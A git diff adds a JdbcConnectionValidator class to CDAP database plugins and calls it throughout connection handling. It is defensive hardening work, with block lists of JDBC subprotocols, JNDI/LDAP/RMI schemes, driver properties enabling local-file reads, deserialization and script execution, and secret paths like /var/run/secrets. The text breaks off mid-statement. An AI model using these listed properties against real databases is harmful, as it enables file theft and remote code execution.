diff --git a/database-commons/src/main/java/io/cdap/plugin/db/ConnectionConfig.java b/database-commons/src/main/java/io/cdap/plugin/db/ConnectionConfig.java index 2a5aaa988..75ce55bb1 100644 --- a/database-commons/src/main/java/io/cdap/plugin/db/ConnectionConfig.java +++ b/database-commons/src/main/java/io/cdap/plugin/db/ConnectionConfig.java @@ -24,6 +24,7 @@ import io.cdap.cdap.api.plugin.PluginConfig; import io.cdap.plugin.common.KeyValueListParser; import io.cdap.plugin.db.config.DatabaseConnectionConfig; +import io.cdap.plugin.util.JdbcConnectionValidator; import io.cdap.plugin.util.RetryUtils; import java.util.Collections; @@ -114,6 +115,7 @@ public ConnectionConfig() { public Map getConnectionArguments() { Map arguments = getConnectionArguments(connectionArguments, user, password); arguments.putAll(getDBSpecificArguments()); + JdbcConnectionValidator.validateConnectionArgumentsMap(arguments); return arguments; } @@ -135,6 +137,7 @@ public List getInitQueries() { */ protected static Map getConnectionArguments(@Nullable String connectionArguments, @Nullable String user, @Nullable String password) { + JdbcConnectionValidator.validateConnectionArgumentsString(connectionArguments); KeyValueListParser kvParser = new KeyValueListParser("\\s*;\\s*", "="); Map connectionArgumentsMap = new HashMap<>(); @@ -149,6 +152,7 @@ protected static Map getConnectionArguments(@Nullable String con connectionArgumentsMap.put("password", password); } + JdbcConnectionValidator.validateConnectionArgumentsMap(connectionArgumentsMap); return connectionArgumentsMap; } diff --git a/database-commons/src/main/java/io/cdap/plugin/db/ConnectionConfigAccessor.java b/database-commons/src/main/java/io/cdap/plugin/db/ConnectionConfigAccessor.java index 253422e79..b79216619 100644 --- a/database-commons/src/main/java/io/cdap/plugin/db/ConnectionConfigAccessor.java +++ b/database-commons/src/main/java/io/cdap/plugin/db/ConnectionConfigAccessor.java @@ -19,6 +19,7 @@ import com.google.common.base.Strings; import com.google.gson.Gson; import com.google.gson.reflect.TypeToken; +import io.cdap.plugin.util.JdbcConnectionValidator; import org.apache.hadoop.conf.Configuration; import java.lang.reflect.Type; @@ -64,6 +65,7 @@ public String getTransactionIsolationLevel() { } public void setConnectionArguments(Map connectionArguments) { + JdbcConnectionValidator.validateConnectionArgumentsMap(connectionArguments); configuration.set(CONNECTION_ARGUMENTS, GSON.toJson(connectionArguments, STRING_MAP_TYPE)); } @@ -71,7 +73,9 @@ public Map getConnectionArguments() { if (Strings.isNullOrEmpty(configuration.get(CONNECTION_ARGUMENTS))) { return Collections.emptyMap(); } - return GSON.fromJson(configuration.get(CONNECTION_ARGUMENTS), STRING_MAP_TYPE); + Map arguments = GSON.fromJson(configuration.get(CONNECTION_ARGUMENTS), STRING_MAP_TYPE); + JdbcConnectionValidator.validateConnectionArgumentsMap(arguments); + return arguments; } public void setInitQueries(List initQueries) { diff --git a/database-commons/src/main/java/io/cdap/plugin/db/JDBCDriverShim.java b/database-commons/src/main/java/io/cdap/plugin/db/JDBCDriverShim.java index 464c0d3b6..1a85dc09c 100644 --- a/database-commons/src/main/java/io/cdap/plugin/db/JDBCDriverShim.java +++ b/database-commons/src/main/java/io/cdap/plugin/db/JDBCDriverShim.java @@ -18,6 +18,7 @@ import io.cdap.plugin.db.sink.ETLDBOutputFormat; import io.cdap.plugin.db.source.DataDrivenETLDBInputFormat; +import io.cdap.plugin.util.JdbcConnectionValidator; import java.sql.Connection; import java.sql.Driver; @@ -52,11 +53,13 @@ public JDBCDriverShim(Driver delegate) { @Override public boolean acceptsURL(String url) throws SQLException { + JdbcConnectionValidator.validateUrl(url); return delegate.acceptsURL(url); } @Override public Connection connect(String url, Properties info) throws SQLException { + JdbcConnectionValidator.validateJdbcConnection(url, info); return delegate.connect(url, info); } diff --git a/database-commons/src/main/java/io/cdap/plugin/db/config/AbstractDBSpecificSinkConfig.java b/database-commons/src/main/java/io/cdap/plugin/db/config/AbstractDBSpecificSinkConfig.java index 3d9ed16ff..f958df8e9 100644 --- a/database-commons/src/main/java/io/cdap/plugin/db/config/AbstractDBSpecificSinkConfig.java +++ b/database-commons/src/main/java/io/cdap/plugin/db/config/AbstractDBSpecificSinkConfig.java @@ -25,6 +25,7 @@ import io.cdap.plugin.common.Constants; import io.cdap.plugin.db.Operation; import io.cdap.plugin.db.connector.AbstractDBConnectorConfig; +import io.cdap.plugin.util.JdbcConnectionValidator; import java.util.Collections; import java.util.HashMap; @@ -125,6 +126,7 @@ public Map getConnectionArguments() { Map arguments = new HashMap<>(); arguments.putAll(Maps.fromProperties(getConnection().getConnectionArgumentsProperties())); arguments.putAll(getDBSpecificArguments()); + JdbcConnectionValidator.validateConnectionArgumentsMap(arguments); return arguments; } diff --git a/database-commons/src/main/java/io/cdap/plugin/db/config/AbstractDBSpecificSourceConfig.java b/database-commons/src/main/java/io/cdap/plugin/db/config/AbstractDBSpecificSourceConfig.java index 73d57d356..02abd16d6 100644 --- a/database-commons/src/main/java/io/cdap/plugin/db/config/AbstractDBSpecificSourceConfig.java +++ b/database-commons/src/main/java/io/cdap/plugin/db/config/AbstractDBSpecificSourceConfig.java @@ -28,6 +28,7 @@ import io.cdap.plugin.db.TransactionIsolationLevel; import io.cdap.plugin.db.connector.AbstractDBConnectorConfig; import io.cdap.plugin.db.source.AbstractDBSource; +import io.cdap.plugin.util.JdbcConnectionValidator; import java.io.IOException; import java.util.Collections; @@ -225,6 +226,7 @@ public Map getConnectionArguments() { Map arguments = new HashMap<>(); arguments.putAll(Maps.fromProperties(getConnection().getConnectionArgumentsProperties())); arguments.putAll(getDBSpecificArguments()); + JdbcConnectionValidator.validateConnectionArgumentsMap(arguments); return arguments; } diff --git a/database-commons/src/main/java/io/cdap/plugin/db/connector/AbstractDBConnectorConfig.java b/database-commons/src/main/java/io/cdap/plugin/db/connector/AbstractDBConnectorConfig.java index 646c5e388..073e86acd 100644 --- a/database-commons/src/main/java/io/cdap/plugin/db/connector/AbstractDBConnectorConfig.java +++ b/database-commons/src/main/java/io/cdap/plugin/db/connector/AbstractDBConnectorConfig.java @@ -25,6 +25,7 @@ import io.cdap.plugin.common.KeyValueListParser; import io.cdap.plugin.common.db.DBConnectorProperties; import io.cdap.plugin.db.ConnectionConfig; +import io.cdap.plugin.util.JdbcConnectionValidator; import io.cdap.plugin.util.RetryUtils; import java.util.Collections; @@ -120,11 +121,13 @@ public String getJdbcPluginName() { @Override public String getConnectionArguments() { + JdbcConnectionValidator.validateConnectionArgumentsString(connectionArguments); return connectionArguments; } protected static Properties getConnectionArgumentsProperties(@Nullable String connectionArguments, @Nullable String user, @Nullable String password) { + JdbcConnectionValidator.validateConnectionArgumentsString(connectionArguments); KeyValueListParser kvParser = new KeyValueListParser("\\s*;\\s*", "="); Map connectionArgumentsMap = new HashMap<>(); @@ -142,6 +145,7 @@ protected static Properties getConnectionArgumentsProperties(@Nullable String co } Properties properties = new Properties(); properties.putAll(connectionArgumentsMap); + JdbcConnectionValidator.validateProperties(properties); return properties; } diff --git a/database-commons/src/main/java/io/cdap/plugin/db/connector/AbstractDBSpecificConnector.java b/database-commons/src/main/java/io/cdap/plugin/db/connector/AbstractDBSpecificConnector.java index e0407203b..da4953d86 100644 --- a/database-commons/src/main/java/io/cdap/plugin/db/connector/AbstractDBSpecificConnector.java +++ b/database-commons/src/main/java/io/cdap/plugin/db/connector/AbstractDBSpecificConnector.java @@ -35,6 +35,7 @@ import io.cdap.plugin.db.ConnectionConfigAccessor; import io.cdap.plugin.db.SchemaReader; import io.cdap.plugin.db.source.DataDrivenETLDBInputFormat; +import io.cdap.plugin.util.JdbcConnectionValidator; import io.cdap.plugin.util.RetryPolicyUtil; import io.cdap.plugin.util.RetryUtils; import org.apache.hadoop.io.LongWritable; @@ -48,6 +49,7 @@ import java.sql.SQLException; import java.sql.Statement; import java.util.Map; +import java.util.Properties; import java.util.UUID; import javax.annotation.Nullable; @@ -93,25 +95,29 @@ public InputFormatProvider getInputFormatProvider(ConnectorContext context, Samp } ConnectionConfigAccessor connectionConfigAccessor = new ConnectionConfigAccessor(); + String connectionString = getConnectionString(path.getDatabase()); + Properties connectionArgumentsProperties = config.getConnectionArgumentsProperties(); + JdbcConnectionValidator.validateJdbcConnection(connectionString, connectionArgumentsProperties); if (config.getUser() == null && config.getPassword() == null) { DBConfiguration.configureDB(connectionConfigAccessor.getConfiguration(), driverClass.getName(), - getConnectionString(path.getDatabase())); + connectionString); } else { DBConfiguration.configureDB(connectionConfigAccessor.getConfiguration(), driverClass.getName(), - getConnectionString(path.getDatabase()), config.getUser(), config.getPassword()); + connectionString, config.getUser(), config.getPassword()); } String sessionID = generateSessionID(); String tableQuery = getTableQuery(path.getDatabase(), path.getSchema(), path.getTable(), request.getLimit(), request.getProperties().get("sampleType"), request.getProperties().get("strata"), sessionID); DataDrivenETLDBInputFormat.setInput(connectionConfigAccessor.getConfiguration(), getDBRecordType(), tableQuery, null, isAutoCommitEnabled()); - connectionConfigAccessor.setConnectionArguments(Maps.fromProperties(config.getConnectionArgumentsProperties())); + connectionConfigAccessor.setConnectionArguments(Maps.fromProperties(connectionArgumentsProperties)); String isolationLevel = getTransactionIsolationLevel(); if (isolationLevel != null) { connectionConfigAccessor.setTransactionIsolationLevel(isolationLevel); } connectionConfigAccessor.getConfiguration().setInt(MRJobConfig.NUM_MAPS, 1); Map additionalArguments = config.getAdditionalArguments(); + JdbcConnectionValidator.validateConnectionArgumentsMap(additionalArguments); for (Map.Entry argument : additionalArguments.entrySet()) { connectionConfigAccessor.getConfiguration().set(argument.getKey(), argument.getValue()); } @@ -141,8 +147,18 @@ protected DBErrorDetailsProvider getErrorDetailsProvider() { return dbErrorDetailsProvider; } + @Override protected Connection getConnection(DBConnectorPath path) { - return getConnection(getConnectionString(path.getDatabase()), config.getConnectionArgumentsProperties()); + String connectionString = getConnectionString(path.getDatabase()); + Properties connectionArguments = config.getConnectionArgumentsProperties(); + JdbcConnectionValidator.validateJdbcConnection(connectionString, connectionArguments); + return getConnection(connectionString, connectionArguments); + } + + @Override + protected Connection getConnection(String connectionString, Properties connectionArguments) { + JdbcConnectionValidator.validateJdbcConnection(connectionString, connectionArguments); + return super.getConnection(connectionString, connectionArguments); } protected String getConnectionString(String database) { diff --git a/database-commons/src/main/java/io/cdap/plugin/db/sink/ETLDBOutputFormat.java b/database-commons/src/main/java/io/cdap/plugin/db/sink/ETLDBOutputFormat.java index ad196386c..828874ca8 100644 --- a/database-commons/src/main/java/io/cdap/plugin/db/sink/ETLDBOutputFormat.java +++ b/database-commons/src/main/java/io/cdap/plugin/db/sink/ETLDBOutputFormat.java @@ -24,6 +24,7 @@ import io.cdap.plugin.db.Operation; import io.cdap.plugin.db.TransactionIsolationLevel; import io.cdap.plugin.util.DBUtils; +import io.cdap.plugin.util.JdbcConnectionValidator; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.mapreduce.JobContext; import org.apache.hadoop.mapreduce.OutputCommitter; @@ -244,6 +245,7 @@ private Connection getConnection(Configuration conf) { Connection connection; try { String url = conf.get(DBConfiguration.URL_PROPERTY); + JdbcConnectionValidator.validateUrl(url); try { // throws SQLException if no suitable driver is found DriverManager.getDriver(url); @@ -270,6 +272,7 @@ private Connection getConnection(Configuration conf) { Map connectionArgs = connectionConfigAccessor.getConnectionArguments(); Properties properties = new Properties(); properties.putAll(connectionArgs); + JdbcConnectionValidator.validateJdbcConnection(url, properties); connection = DriverManager.getConnection(url, properties); boolean autoCommitEnabled = connectionConfigAccessor.isAutoCommitEnabled(); diff --git a/database-commons/src/main/java/io/cdap/plugin/db/source/DataDrivenETLDBInputFormat.java b/database-commons/src/main/java/io/cdap/plugin/db/source/DataDrivenETLDBInputFormat.java index 1a67f09ea..24f1701d4 100644 --- a/database-commons/src/main/java/io/cdap/plugin/db/source/DataDrivenETLDBInputFormat.java +++ b/database-commons/src/main/java/io/cdap/plugin/db/source/DataDrivenETLDBInputFormat.java @@ -25,6 +25,7 @@ import io.cdap.plugin.db.NoOpCommitConnection; import io.cdap.plugin.db.TransactionIsolationLevel; import io.cdap.plugin.util.DBUtils; +import io.cdap.plugin.util.JdbcConnectionValidator; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.mapreduce.InputSplit; import org.apache.hadoop.mapreduce.JobContext; @@ -127,6 +128,7 @@ public Connection getConnection() { ConnectionConfigAccessor connectionConfigAccessor = new ConnectionConfigAccessor(getConf()); try { String url = connectionConfigAccessor.getConfiguration().get(DBConfiguration.URL_PROPERTY); + JdbcConnectionValidator.validateUrl(url); try { // throws SQLException if no suitable driver is found DriverManager.getDriver(url); @@ -152,6 +154,7 @@ public Connection getConnection() { Properties properties = new Properties(); properties.putAll(connectionConfigAccessor.getConnectionArguments()); + JdbcConnectionValidator.validateJdbcConnection(url, properties); connection = DriverManager.getConnection(url, properties); if (connectionConfigAccessor.isAutoCommitEnabled()) { diff --git a/database-commons/src/main/java/io/cdap/plugin/util/DBUtils.java b/database-commons/src/main/java/io/cdap/plugin/util/DBUtils.java index b125a7214..b44788588 100644 --- a/database-commons/src/main/java/io/cdap/plugin/util/DBUtils.java +++ b/database-commons/src/main/java/io/cdap/plugin/util/DBUtils.java @@ -16,6 +16,7 @@ package io.cdap.plugin.util; +import com.google.common.base.Strings; import io.cdap.cdap.api.plugin.PluginConfig; import io.cdap.cdap.api.plugin.PluginProperties; import io.cdap.cdap.etl.api.FailureCollector; @@ -105,6 +106,7 @@ public static void cleanup(Class driverClass) { public static DriverCleanup ensureJDBCDriverIsAvailable(Class jdbcDriverClass, String connectionString, String jdbcPluginName) throws IllegalAccessException, InstantiationException, SQLException { + JdbcConnectionValidator.validateUrl(connectionString); try { DriverManager.getDriver(connectionString); @@ -197,6 +199,27 @@ public static void validateJ .withConfigProperty(ConnectionConfig.USER); } + if (!config.containsMacro(ConnectionConfig.CONNECTION_STRING)) { + String connStr = config.getConnectionString(); + if (!Strings.isNullOrEmpty(connStr)) { + try { + JdbcConnectionValidator.validateUrl(connStr); + } catch (IllegalArgumentException e) { + collector.addFailure(e.getMessage(), null) + .withConfigProperty(ConnectionConfig.CONNECTION_STRING); + } + } + } + + if (!config.containsMacro(ConnectionConfig.CONNECTION_ARGUMENTS)) { + try { + JdbcConnectionValidator.validateConnectionArgumentsMap(config.getConnectionArguments()); + } catch (IllegalArgumentException e) { + collector.addFailure(e.getMessage(), null) + .withConfigProperty(ConnectionConfig.CONNECTION_ARGUMENTS); + } + } + // if contains macro for jdbc plugin, just return if (config.containsMacro(ConnectionConfig.JDBC_PLUGIN_NAME)) { collector.getOrThrowException(); diff --git a/database-commons/src/main/java/io/cdap/plugin/util/JdbcConnectionValidator.java b/database-commons/src/main/java/io/cdap/plugin/util/JdbcConnectionValidator.java new file mode 100644 index 000000000..a5f953e56 --- /dev/null +++ b/database-commons/src/main/java/io/cdap/plugin/util/JdbcConnectionValidator.java @@ -0,0 +1,648 @@ +/* + * Copyright © 2026 Cask Data, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may not + * use this file except in compliance with the License. You may obtain a copy of + * the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations under + * the License. + */ + +package io.cdap.plugin.util; + +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashSet; +import java.util.Locale; +import java.util.Map; +import java.util.Properties; +import java.util.Set; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import javax.annotation.Nullable; + +/** + * Validates JDBC connection URLs and connection properties to prevent dangerous driver-specific + * properties, arbitrary file reads, JNDI lookups, deserialization, and script execution. + */ +public final class JdbcConnectionValidator { + + private static final int MAX_DECODE_PASSES = 5; + private static final Pattern COMMENT_PATTERN = Pattern.compile("/\\*.*?\\*/", Pattern.DOTALL); + private static final Pattern PAREN_CONTENT_PATTERN = Pattern.compile("\\(([^()]+)\\)"); + private static final Pattern VALID_PCT_HEX_PATTERN = Pattern.compile("%([0-9a-fA-F]{2})"); + + private static final Set ALLOWED_CLOUDSQL_SOCKET_FACTORIES = + Collections.unmodifiableSet(new HashSet<>(Arrays.asList( + "com.google.cloud.sql.mysql.SocketFactory", + "com.google.cloud.sql.postgres.SocketFactory" + ))); + + private static final Set BLOCKED_URL_PREFIXES = + Collections.unmodifiableSet(new HashSet<>(Arrays.asList( + "jdbc:h2:", + "jdbc:sqlite:", + "jdbc:derby:", + "jdbc:modeshape:", + "jdbc:jndi:", + "jdbc:ldap:", + "jdbc:ldaps:", + "jdbc:rmi:", + "jdbc:rowset:", + "jdbc:hsqldb:file:", + "jdbc:hsqldb:res:", + "jdbc:tc:", + "jdbc:oracle:oci" + ))); + + private static final Set BLOCKED_URL_SCHEMES = + Collections.unmodifiableSet(new HashSet<>(Arrays.asList( + "ldap://", + "ldaps://", + "rmi://", + "dns://", + "iiop://", + "corbaname:", + "jndi:" + ))); + + private static final Set BLOCKED_EXACT_KEYS = + Collections.unmodifiableSet(new HashSet<>(Arrays.asList( + // MySQL / MariaDB local file read, deserialization, and class instantiation + "allowloadlocalinfile", + "allowurlinlocalinfile", + "allowloadlocalinfileinpath", + "autodeserialize", + "queryinterceptors", + "statementinterceptors", + "connectionlifecycleinterceptors", + "exceptioninterceptors", + "authenticationplugins", + "defaultauthenticationplugin", + "disabledauthenticationplugins", + "clientinfoprovider", + "propertiestransform", + "connectionattributes", + "loadbalancestrategy", + "loadbalanceexceptionchecker", + "loadbalanceautocommitstatementregex", + "ha.loadbalancestrategy", + "replicationconnectiongroup", + "logger", + "loggerclass", + "loggerclassname", + "loggerlevel", + "loggerfile", + "profilesql", + "profilereventhandler", + "parseinfocachefactory", + "resultsetscannerregex", + "customsocketfactory", + "serverconfigcachefactory", + "localinfileinputstream", + // PostgreSQL socket / SSL / log / auth class instantiation and file write + "socketfactory", + "socketfactoryarg", + "socketfactoryconstructorarg", + "sslfactory", + "sslfactoryarg", + "sslpasswordcallback", + "sslhostnameverifier", + "authenticationpluginclassname", + "gsslib", + "service", + // H2 / Derby / HSQLDB script execution and trace output + "init", + "script", + "runscript", + "trace_level_system_out", + "trace_level_file", + "create", + "shutdown", + // DB2 / Oracle / MSSQL / Teradata / Databricks dangerous properties + "clientrerouteserverlistjndiname", + "enableclientaffinitieslist", + "pluginname", + "securitymechanism", + "tracefile", + "tracefileappend", + "tracedirectory", + "logdirectory", + "logfilepath", + "servercert", + "ttc_type_rep", + "oracle.jdbc.drivernameattribute", + "javax.naming.provider.url", + "java.naming.provider.url", + "java.naming.factory.initial", + "socketfactoryclass", + "socketfactoryconstructor", + "krbjaasfile", + "jaasconfigurationname", + "loginconfigfile" + ))); + + private static final Set BLOCKED_KEY_SUBSTRINGS = + Collections.unmodifiableSet(new HashSet<>(Arrays.asList( + "localinfile", + "autodeserialize", + "interceptor", + "propertiestransform", + "clientinfoprovider", + "authenticationplugin", + "loadbalancestrategy", + "loadbalanceexceptionchecker", + "profilereventhandler", + "parseinfocachefactory", + "serverconfigcachefactory", + "socketfactory", + "sslfactory", + "sslpasswordcallback", + "sslhostnameverifier", + "loggerfile", + "loggerlevel", + "loggerclass", + "tracefile", + "tracedirectory", + "trace_level", + "jndi", + "runscript", + "jaasfile" + ))); + + private static final Set SENSITIVE_PATH_TOKENS = + Collections.unmodifiableSet(new HashSet<>(Arrays.asList( + "/var/run/secrets", + "/run/secrets", + "kubernetes.io/serviceaccount", + "/proc/", + "/sys/", + "/etc/", + "/root/", + "/home/", + "/tmp/", + "/var/tmp", + "/var/log", + "/dev/", + "../", + "/..", + "..\\", + "c:/windows", + "c:/users" + ))); + + private static final Set FILE_OR_URL_BEARING_KEY_TOKENS = + Collections.unmodifiableSet(new HashSet<>(Arrays.asList( + "file", + "path", + "dir", + "url", + "store", + "cert", + "key", + "init", + "script", + "config", + "jaas", + "krb", + "log", + "trace", + "dump", + "xml", + "xsl", + "stylesheet" + ))); + + private JdbcConnectionValidator() { + throw new AssertionError("Should not instantiate static utility class."); + } + + /** + * Validates a JDBC connection URL against blocked protocols, dangerous parameters, and bypass encodings. + * + * @param url the JDBC connection URL to validate + * @throws IllegalArgumentException if the URL is null, empty, malformed, or contains disallowed properties + */ + public static void validateUrl(String url) { + if (url == null || url.trim().isEmpty()) { + throw new IllegalArgumentException("JDBC connection URL must not be null or empty."); + } + rejectControlChars(url, "JDBC URL"); + String decodedUrl = decodeFully(url, "JDBC URL"); + String commentStrippedUrl = stripComments(decodedUrl); + if (commentStrippedUrl.contains("/*") || commentStrippedUrl.contains("*/")) { + throw new IllegalArgumentException("JDBC connection URL contains unclosed or malformed comment sequence."); + } + + String trimmedUrl = commentStrippedUrl.trim(); + String lowerUrl = trimmedUrl.toLowerCase(Locale.ROOT); + String compactLowerUrl = lowerUrl.replaceAll("\\s+", ""); + + if (!lowerUrl.startsWith("jdbc:") || !compactLowerUrl.startsWith("jdbc:")) { + throw new IllegalArgumentException("Invalid JDBC connection URL: must start with 'jdbc:'."); + } + + for (String blockedPrefix : BLOCKED_URL_PREFIXES) { + if (lowerUrl.startsWith(blockedPrefix) || compactLowerUrl.startsWith(blockedPrefix)) { + throw new IllegalArgumentException( + String.format("Disallowed JDBC subprotocol in connection URL: '%s'.", blockedPrefix)); + } + } + + for (String blockedScheme : BLOCKED_URL_SCHEMES) { + if (lowerUrl.contains(blockedScheme) || compactLowerUrl.contains(blockedScheme)) { + throw new IllegalArgumentException( + String.format("Disallowed scheme '%s' in JDBC connection URL.", blockedScheme)); + } + } + + parseAndValidateUrlParameters(url); + if (!decodedUrl.equals(url)) { + parseAndValidateUrlParameters(decodedUrl); + } + if (!commentStrippedUrl.equals(decodedUrl)) { + parseAndValidateUrlParameters(commentStrippedUrl); + } + } + + /** + * Validates a JDBC {@link Properties} object (including any backing default properties). + * + * @param properties the JDBC connection properties, may be null + * @throws IllegalArgumentException if any property key or value is disallowed + */ + public static void validateProperties(@Nullable Properties properties) { + if (properties == null) { + return; + } + for (String name : properties.stringPropertyNames()) { + checkKeyAndValue(name, properties.getProperty(name), false); + } + for (Map.Entry entry : properties.entrySet()) { + String key = entry.getKey() == null ? null : String.valueOf(entry.getKey()); + String value = entry.getValue() == null ? null : String.valueOf(entry.getValue()); + checkKeyAndValue(key, value, false); + } + } + + /** + * Validates a map of JDBC connection arguments. + * + * @param arguments the JDBC connection arguments map, may be null + * @throws IllegalArgumentException if any argument key or value is disallowed + */ + public static void validateConnectionArgumentsMap(@Nullable Map arguments) { + if (arguments == null || arguments.isEmpty()) { + return; + } + for (Map.Entry entry : arguments.entrySet()) { + checkKeyAndValue(entry.getKey(), entry.getValue(), false); + } + } + + /** + * Validates a raw connection arguments string (e.g. {@code key1=val1;key2=val2}). + * + * @param connectionArguments the raw connection arguments string, may be null + * @throws IllegalArgumentException if any argument key or value is disallowed + */ + public static void validateConnectionArgumentsString(@Nullable String connectionArguments) { + if (connectionArguments == null || connectionArguments.trim().isEmpty()) { + return; + } + rejectControlChars(connectionArguments, "JDBC connection arguments"); + String[] tokens = connectionArguments.split("[;&\\r\\n]+"); + for (String token : tokens) { + validateKeyValueToken(token, false, false); + } + } + + /** + * Validates both a JDBC connection URL and a {@link Properties} instance. + * + * @param url the JDBC connection URL + * @param properties the JDBC connection properties, may be null + * @throws IllegalArgumentException if the URL or properties contain disallowed settings + */ + public static void validateJdbcConnection(String url, @Nullable Properties properties) { + validateUrl(url); + validateProperties(properties); + } + + /** + * Validates both a JDBC connection URL and a connection arguments map. + * + * @param url the JDBC connection URL + * @param arguments the JDBC connection arguments map, may be null + * @throws IllegalArgumentException if the URL or arguments contain disallowed settings + */ + public static void validateJdbcConnection(String url, @Nullable Map arguments) { + validateUrl(url); + validateConnectionArgumentsMap(arguments); + } + + private static void parseAndValidateUrlParameters(String urlStr) { + // 1. Validate parenthesized key=value groups (e.g., MySQL address-list (host=...,allowLoadLocalInfile=true) + // and Oracle TNS (DESCRIPTION=(ADDRESS=...))) at any nesting depth. + String parenScan = urlStr; + Matcher parenMatcher = PAREN_CONTENT_PATTERN.matcher(parenScan); + while (parenMatcher.find()) { + String groupContent = parenMatcher.group(1); + for (String token : groupContent.split("[,;&?#]+")) { + validateKeyValueToken(token, true, true); + } + parenScan = parenMatcher.replaceFirst(" "); + parenMatcher = PAREN_CONTENT_PATTERN.matcher(parenScan); + } + + // 2. Validate query parameters after '?' + int qIdx = urlStr.indexOf('?'); + if (qIdx >= 0 && qIdx + 1 < urlStr.length()) { + String queryPart = urlStr.substring(qIdx + 1); + for (String token : queryPart.split("[&;#?]+")) { + validateKeyValueToken(token, true, true); + } + } + + // 3. Validate semicolon-delimited parameters (e.g., MSSQL, DB2, MariaDB, Databricks) + String[] semiParts = urlStr.split(";"); + String[] parenStrippedSemiParts = parenScan.split(";"); + for (int i = 0; i < semiParts.length; i++) { + if (i == 0) { + // Handle DB2-style ':key=val;' in the first segment before ';' (e.g., jdbc:db2://host:50000/DB:traceFile=...) + String firstPart = parenStrippedSemiParts.length > 0 ? parenStrippedSemiParts[0] : semiParts[0]; + int qInFirst = firstPart.indexOf('?'); + String beforeQuery = qInFirst >= 0 ? firstPart.substring(0, qInFirst) : firstPart; + if (beforeQuery.contains("=")) { + for (String token : beforeQuery.split("[&#]+")) { + validateKeyValueToken(token, true, true); + } + } + } else { + for (String token : semiParts[i].split("[&#?]+")) { + validateKeyValueToken(token, true, true); + } + } + } + + // 4. Validate Teradata slash/comma parameters (jdbc:teradata://host/KEY1=VAL1,KEY2=VAL2) + String lower = stripComments(urlStr).trim().toLowerCase(Locale.ROOT); + if (lower.startsWith("jdbc:teradata:")) { + String basePart = urlStr; + int firstQuestion = basePart.indexOf('?'); + if (firstQuestion >= 0) { + basePart = basePart.substring(0, firstQuestion); + } + int firstSemi = basePart.indexOf(';'); + if (firstSemi >= 0) { + basePart = basePart.substring(0, firstSemi); + } + int schemeSlashes = basePart.indexOf("//"); + int pathSlash = schemeSlashes >= 0 ? basePart.indexOf('/', schemeSlashes + 2) : basePart.indexOf('/'); + if (pathSlash >= 0 && pathSlash + 1 < basePart.length()) { + String teradataParams = basePart.substring(pathSlash + 1); + for (String token : teradataParams.split("[,/]+")) { + validateKeyValueToken(token, true, true); + } + } + } + } + + private static void validateKeyValueToken(String token, boolean fromUrl, boolean stripKeyPrefixDelimiters) { + if (token == null) { + return; + } + String trimmed = token.trim(); + if (trimmed.isEmpty()) { + return; + } + int eqIdx = trimmed.indexOf('='); + if (eqIdx < 0) { + return; + } + String rawKey = trimmed.substring(0, eqIdx).trim(); + String rawVal = trimmed.substring(eqIdx + 1).trim(); + if (stripKeyPrefixDelimiters) { + int lastDelim = Math.max( + Math.max(rawKey.lastIndexOf(':'), rawKey.lastIndexOf('/')), + Math.max(rawKey.lastIndexOf('?'), rawKey.lastIndexOf('(')) + ); + if (lastDelim >= 0 && lastDelim + 1 < rawKey.length()) { + rawKey = rawKey.substring(lastDelim + 1).trim(); + } + } + checkKeyAndValue(rawKey, rawVal, fromUrl); + } + + private static void checkKeyAndValue(@Nullable String rawKey, @Nullable String rawValue, boolean fromUrl) { + if (rawKey == null) { + return; + } + rejectControlChars(rawKey, "JDBC property key"); + String decodedKey = decodeFully(rawKey, "JDBC property key"); + String normalizedKey = normalizeKey(decodedKey); + if (normalizedKey.isEmpty()) { + return; + } + + String decodedValue = null; + if (rawValue != null) { + rejectControlChars(rawValue, "JDBC property value"); + if ("password".equals(normalizedKey) && !fromUrl) { + decodedValue = decodeLenient(rawValue); + } else { + decodedValue = decodeFully(rawValue, "JDBC property value"); + } + } + + // CloudSQL MySQL and PostgreSQL plugins hardcode their official SocketFactory in the URL. + // Allow only those two exact class names and only when parsed from the URL. + if ("socketfactory".equals(normalizedKey)) { + if (fromUrl && rawValue != null && decodedValue != null) { + String trimmedRaw = rawValue.trim(); + String trimmedDecoded = stripComments(decodedValue).trim(); + if (ALLOWED_CLOUDSQL_SOCKET_FACTORIES.contains(trimmedRaw) + && ALLOWED_CLOUDSQL_SOCKET_FACTORIES.contains(trimmedDecoded)) { + return; + } + } + throw new IllegalArgumentException( + String.format("Disallowed JDBC connection property: '%s'.", decodedKey.trim())); + } + + if (BLOCKED_EXACT_KEYS.contains(normalizedKey)) { + throw new IllegalArgumentException( + String.format("Disallowed JDBC connection property: '%s'.", decodedKey.trim())); + } + + for (String blockedSubstring : BLOCKED_KEY_SUBSTRINGS) { + if (normalizedKey.contains(blockedSubstring)) { + throw new IllegalArgumentException( + String.format("Disallowed JDBC connection property: '%s'.", decodedKey.trim())); + } + } + + if (decodedValue != null) { + validatePropertyValue(normalizedKey, decodedKey, decodedValue); + } + } + + private static void validatePropertyValue(String normalizedKey, String displayKey, String decodedValue) { + String strippedVal = stripBraces(stripComments(decodedValue).trim()); + String lowerVal = strippedVal.toLowerCase(Locale.ROOT); + String compactLowerVal = lowerVal.replaceAll("\\s+", ""); + + for (String blockedScheme : BLOCKED_URL_SCHEMES) { + if (lowerVal.contains(blockedScheme) || compactLowerVal.contains(blockedScheme)) { + throw new IllegalArgumentException( + String.format("Disallowed scheme in value for JDBC property '%s'.", displayKey.trim())); + } + } + + if (compactLowerVal.startsWith("file:") || compactLowerVal.contains("=file:") + || compactLowerVal.startsWith("jar:") || compactLowerVal.contains("=jar:") + || compactLowerVal.contains("javascript:") + || compactLowerVal.contains("runscript") + || compactLowerVal.contains("createalias")) { + throw new IllegalArgumentException( + String.format("Disallowed value for JDBC property '%s'.", displayKey.trim())); + } + + if (isSensitiveFilePath(lowerVal) || isSensitiveFilePath(compactLowerVal)) { + throw new IllegalArgumentException( + String.format("Disallowed sensitive file path in JDBC property '%s'.", displayKey.trim())); + } + + if 